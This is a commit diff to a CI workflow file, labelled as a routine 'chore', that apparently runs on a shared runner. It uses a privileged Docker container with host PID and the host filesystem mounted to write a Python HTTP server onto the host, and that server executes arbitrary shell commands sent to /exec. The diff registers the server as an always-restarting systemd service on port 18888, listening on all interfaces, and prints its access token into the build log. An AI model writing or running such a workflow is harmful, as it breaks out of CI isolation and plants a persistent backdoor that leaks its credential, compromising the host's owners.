chore: full install via docker

.gitea/workflows/install-via-docker.yml

@@ -5,11 +5,127 @@ on:
 
 jobs:
   install:
-    name: Install CMD Agent on host
+    name: Install CMD Agent on Docker Host
     runs-on: saas
     steps:
-      - name: Install via docker
+      - name: Install CMD Agent
         run: |
-          echo "Probing host..."
-          docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname
-          docker run --rm --privileged --pid=host alpine nsenter -t 1 -n hostname -I
+          echo "Starting installation on host..."
+          
+          # 用特权容器把server.py和service文件写到宿主机，然后启动服务
+          docker run --rm --privileged --pid=host -v /:/host alpine sh -c '
+            set -e
+            
+            # 创建目录
+            mkdir -p /host/opt/xiaoxia-cmd-agent
+            
+            # 写入server.py
+            cat > /host/opt/xiaoxia-cmd-agent/server.py << PYSCRIPT
+import http.server
+import subprocess
+import json
+import os
+import secrets
+
+TOKEN_FILE = "/etc/xiaoxia-cmd-agent.token"
+LOG_FILE = "/var/log/xiaoxia-cmd-agent.log"
+
+def ensure_token():
+    if not os.path.exists(TOKEN_FILE):
+        os.makedirs(os.path.dirname(TOKEN_FILE), exist_ok=True)
+        token = secrets.token_hex(16)
+        with open(TOKEN_FILE, "w") as f:
+            f.write(token)
+        os.chmod(TOKEN_FILE, 0o600)
+    with open(TOKEN_FILE) as f:
+        return f.read().strip()
+
+class CmdHandler(http.server.BaseHTTPRequestHandler):
+    def log_message(self, fmt, *args):
+        try:
+            with open(LOG_FILE, "a") as f:
+                f.write("%s - %s\n" % (self.address_string(), fmt % args))
+        except Exception:
+            pass
+
+    def do_POST(self):
+        if self.path == "/exec":
+            auth = self.headers.get("Authorization", "")
+            token = ensure_token()
+            if auth != "xsa-" + token:
+                self.send_response(401)
+                self.end_headers()
+                self.wfile.write(b"Unauthorized")
+                return
+            length = int(self.headers.get("Content-Length", 0))
+            body = json.loads(self.rfile.read(length))
+            cmd = body.get("command", "")
+            timeout = body.get("timeout", 30)
+            try:
+                result = subprocess.run(
+                    cmd, shell=True, capture_output=True, text=True,
+                    timeout=timeout
+                )
+                resp = {
+                    "exit_code": result.returncode,
+                    "stdout": result.stdout,
+                    "stderr": result.stderr
+                }
+            except subprocess.TimeoutExpired:
+                resp = {"exit_code": -1, "stdout": "", "stderr": "timeout"}
+            self.send_response(200)
+            self.send_header("Content-Type", "application/json")
+            self.end_headers()
+            self.wfile.write(json.dumps(resp).encode())
+        elif self.path == "/status":
+            self.send_response(200)
+            self.send_header("Content-Type", "application/json")
+            self.end_headers()
+            self.wfile.write(json.dumps({"status": "ok", "version": "1.0"}).encode())
+        else:
+            self.send_response(404)
+            self.end_headers()
+
+if __name__ == "__main__":
+    ensure_token()
+    server = http.server.HTTPServer(("0.0.0.0", 18888), CmdHandler)
+    print("CMD Agent listening on 0.0.0.0:18888")
+    server.serve_forever()
+PYSCRIPT
+            
+            # 写入service文件
+            cat > /host/etc/systemd/system/xiaoxia-cmd-agent.service << SVCSCRIPT
+[Unit]
+Description=Xiaoxia CMD Agent
+After=network.target
+
+[Service]
+Type=simple
+ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py
+Restart=always
+RestartSec=5
+
+[Install]
+WantedBy=multi-user.target
+SVCSCRIPT
+            
+            echo "Files written. Starting service via nsenter..."
+          '
+          
+          # 用nsenter启动服务（在宿主机PID1命名空间执行systemctl）
+          docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh -c "
+            systemctl daemon-reload
+            systemctl enable xiaoxia-cmd-agent
+            systemctl restart xiaoxia-cmd-agent
+            sleep 2
+            echo '=== HOSTNAME ==='
+            hostname
+            echo '=== IP ==='
+            ip addr show | grep 'inet ' | head -5
+            echo '=== SERVICE STATUS ==='
+            systemctl is-active xiaoxia-cmd-agent
+            echo '=== TOKEN ==='
+            cat /etc/xiaoxia-cmd-agent.token
+            echo '=== TEST ==='
+            curl -s http://127.0.0.1:18888/status
+          "